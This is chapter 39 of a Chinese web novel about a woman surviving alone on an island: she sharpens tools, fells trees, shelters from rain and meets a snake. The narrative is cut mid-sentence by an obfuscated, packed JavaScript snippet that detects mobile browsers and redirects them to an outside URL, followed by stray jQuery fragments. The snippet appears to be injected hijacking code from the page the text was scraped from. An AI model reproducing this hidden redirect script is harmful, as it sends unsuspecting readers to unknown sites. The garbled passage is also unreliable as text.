39.磨刀!

作品:《荒岛独居二十年

    小溪边地势开阔,水流哗哗响,空气透着股湿润的凉意,是个磨刀的好地方。


    地面湿润,刀具洗起来省力。溪边的石头随便抓一把,粗的细的都有,徐然全给捡上了,照着祖传的规矩——先粗后细,磨刀不累。


    先开刃,再细磨,才能磨出亮堂堂的刀口。


    精挑细选了块结实的大石头当工作台,蹲上去稳如泰山,不晃不抖。先从斧头下手。


    两把斧子,一把砍树砍竹,刃口有些钝了;另一把是上回砍野猪用的消防斧,劈开骨头、脑壳,后来又被她拿来剁猪骨,刀刃早就没了锋利劲儿。


    干脆一次性全磨了,全员升级。不然再钝点,直接能当锤子砸。


    磨斧头得先用粗石头开刃,角度得拿捏好。她把磨刀石泡湿了,撑住斧头,让刃口维持在二三十度之间。


    角度太大,刃厚,砍起东西来像在拍砖;角度太小,虽说锋利,可一磕就崩口,没用几下就得重磨,折腾人。


    确定角度后,按住斧面,从刃口一端开始,均匀地往前推,顺着斧刃的弧度来回打磨。斧头重,磨起来费力,每推一下都得调整力道。


    磨几下,就把斧头在溪水里涮涮,冲掉金属屑,继续磨。


    一遍粗磨完,换上细磨刀石,耐着性子又打磨了一遍,把刃口磨得更细更亮。等整个斧刃都泛起寒光,她抬起斧头,对着阳光一瞧。


    嗯,亮堂堂的,差点儿能用来自拍。


    接下来是锯子,这玩意儿就娇气多了。菜刀她家里常磨,勉强算是有点经验,但锯子……好像只摸过面包刀?毕竟她平时切得最多的“木头”,就是法棍,顶多在硬度上能打个平手。


    她拿起锯子,仔细端详了一会儿。这齿口,波浪形,狰狞得像鲨鱼牙,一看就不是好惹的角色。不能像斧头那样整片打磨,而得一颗一颗伺候。


    可恶!


    不过事已至此,咬牙也得上了。先找块合适的石头,把锯子固定住,免得磨着磨着它溜号。万一锯子在她手下左右横跳,那她的耐心大概也会跟着跳崖。然后掏出小锉刀,顺着锯齿方向一点点打磨。


    锯齿的角度是设计好的,磨的时候只能顺着原来的齿口,不能瞎改。改偏了,锯木头的时候不是卡住就是打滑,费力不讨好。


    锉刀在锯齿上来回摩擦,发出细细的“唰唰”声,听久了居然有点治愈感。她磨得专注,想着以前听人说,好的锯子不仅齿口得锋利,齿距也得合适。齿距太密,锯木头时容易卡住;太稀,锯起来费劲,效率低。


    她这把锯子倒是挺趁手,就是有些地方发黑,看着碍眼。干脆抓了一把树叶,沾点溪水,顺着锯条猛搓,又丢进溪水里涮了几下,直到露出亮闪闪的金属色,这才满意。


    斧头、锯子都收拾完了,顺手把小刀也捯饬了。


    这刀是她的全能小助手,削木头、剖肉、刮树皮,啥细活都指望它,虽然不砍大东西,但用得多,钝得比别的工具都快。钝了也不是不能用,就是别别扭扭,像拿勺子切肉,能切,但体验感极差。


    小刀刃口窄,打磨起来没斧头那么废劲,但角度必须拿捏精准。她用湿磨刀石一点点推着磨,专心修整刃口,细小的崩口一点点磨平消失。再换细石头精磨,让刃口光滑到反光。


    最后,她照惯例把刀刃在手背上蹭了蹭,感觉不错,又摘了片叶子放在刀口上,轻轻一吹——


    叶子纹丝不动。


    ……行吧,吹毛立断什么的,想多了。


    但问题不大!


    但问题不大,她又不是武林高手,反正削木头切肉流畅就行。把小刀收起来,拍拍手,心里庆幸:好在荒岛上没人,不然刚才那一通中二病操作,怕不是要被笑到没脸做人。


    磨刀磨得手腕都有点僵了。她甩了甩手,把所有工具往溪水里一丢,水面泛起一圈涟漪,金属屑被冲刷得干干净净。等水珠抖落,她拎起来看了看——斧头、锯子、小刀,个个锃亮,刀刃和锯齿在阳光下反着寒光,晃得眼睛都睁不开。


    她忍不住露出一个满意的微笑,这种感觉,怎么说呢……就像打游戏打了一晚上,终于把装备强化满级,眼看就要下副本开砍了!


    上次砍了不少细木和竹子,这次她不敢再用竹子了。竹子都是中空的,看着结实,其实禁不住大力冲撞,围栏一旦被野猪顶几下,分分钟断成几节。这次得换上真正的木头,结实、耐撞,至少能撑住野猪几回合。


    斧头往背上一甩,她迈步进了林子,专挑树密的地方走。


    这里的树比外围的高,长得笔直,枝干朝天,像一根根撑天的柱子。树多的好处是能选的多,她绕着树走了一圈,仔细挑选。树不能太细,得能撑得住重量,也不能太粗,她一个人砍起来费劲。最重要的是,木头要直,最好没有太多枝杈,不然削起来麻烦。


    绕了几圈,选中了几棵合适的,目测粗细刚好,也不算难砍。


    她摸了摸树皮,拿斧头比了比,估摸着倒下的方向。砍这种高树,第一斧下去后得赶紧撤,不然要是站错位置,被砸成树下冤魂可就亏大了。更别提这林子里地不平,万一脚底打滑,砍树没砍成,反倒把自己埋了,那就真是地狱笑话了。


    想明白这些,她退后几步,把斧头在手里颠了颠,活动了一下肩膀,然后抬手照着树干狠狠砍下去——


    “咚!”


    斧刃扎进树皮,木屑四溅,空气里立刻弥漫开一股淡淡的木香。这树结实,砍起来够费劲。但她盯准了目标,继续一下一下地劈进去。树太长,直接拖回去麻烦,得先锯断几截,方便搬运。


    锯得正起劲,想着再坚持几下就歇口气。


    结果——


    天公不作美,雨又来了。


    这次还是太阳雨。太阳还老老实实地挂在天上,可豆大的雨点子就这么稀里哗啦地砸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15138414|159587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下来。噼里啪啦地敲打着树叶、地面,还有她的脑袋。


    雨季就是这样,说下就下,没个准。她皱了皱眉,心里有点烦躁。干活干得正起劲,被雨生生打断,着实不痛快。


    可再怎么烦,也得先找地方避雨。


    她抬头看了一眼天,林子里最高的就是这些直愣愣的树,要是雷劈下来,倒霉的肯定是她。


    《雨天被雷劈死的倒霉蛋,究竟是天谴还是运气背?》


    她可不想变成下一个“雨天劈死在林子里的倒霉蛋”,赶紧做决定——先撤!


    当机立断,她扛起刚砍倒的木头,准备往自己的石洞冲刺。可才走了几步,雨势突然加大,豆大的雨点越下越猛,砸在叶子上连成了一片,地面迅速湿滑起来,甚至低洼处开始汇聚成水坑。雨水顺着她的额发往下流,她抬手抹了一把脸,心里暗骂了一声。再这么淋下去,别说回洞了,估计半路就得变成一只落汤鸡。


    她眯着眼往四周扫了一圈,终于在前面不远的地方,看到一块突出的岩石。


    那石头底下有个不算大的空间,勉强能躲一躲。她顾不上挑剔,几步冲过去,把木头往地上一扔,自己缩进石头底下。


    地方不大,雨水溅进来的不少,但好歹不会直接被浇透。她靠在石壁上,伸手拧了拧衣角上的水,低头看着外面的大雨,砸了砸嘴。干活干一半就被拦住,实在是糟心。但这天气说变就变,回不去也只能等了。她盘腿坐下,摸了摸被雨打湿的木头,心里琢磨着,等雨小一点,就得赶紧走,不然天黑了,回去更麻烦。


    雨哗啦啦地下,天光还亮着,可林子里已经湿漉漉一片。水雾升腾,泥土的气味混着潮湿的树叶味,浓得要粘在身上。


    徐然靠在石壁上,雨点从石缝滴下来,落在她的肩膀上,凉得透骨。她抖了抖衣服,又拧了一把袖子上的水,看着越来越密的雨幕,心里不耐烦得很。


    等了半晌,雨非但没变小,反而下得更急了,哗啦啦倒水一样。地上的积水开始顺着地势流淌,脚下的小坑里已经积了一滩浑浊的泥水。


    “啧。”她咂了下嘴,这破天,还让不让人活了?可没等她再抱怨什么,心里忽然升起一股莫名的不安。


    被什么东西盯上的感觉。


    她本能地侧头扫了一眼,视线顿时僵住。


    旁边的石头上,赫然盘着一条蛇。


    那东西颜色花里胡哨的,浑身暗红夹着黑斑,尾巴缠在石缝里,头则高高抬起,细长的舌头一伸一缩,眼神冰冷地盯着她。


    她一眼就看出不对劲,心里狠狠地骂了一句倒霉,身体却不敢乱动。虽然不认识这蛇的品种,但这色泽……怎么看都是剧毒。


    雨声轰隆隆地砸在林子里,耳边水流冲刷地面的声音越来越响,可她此刻却听不见了,注意力死死锁在那条蛇身上。


    蛇没有动,它只是盘在那里,一动不动,盯着她。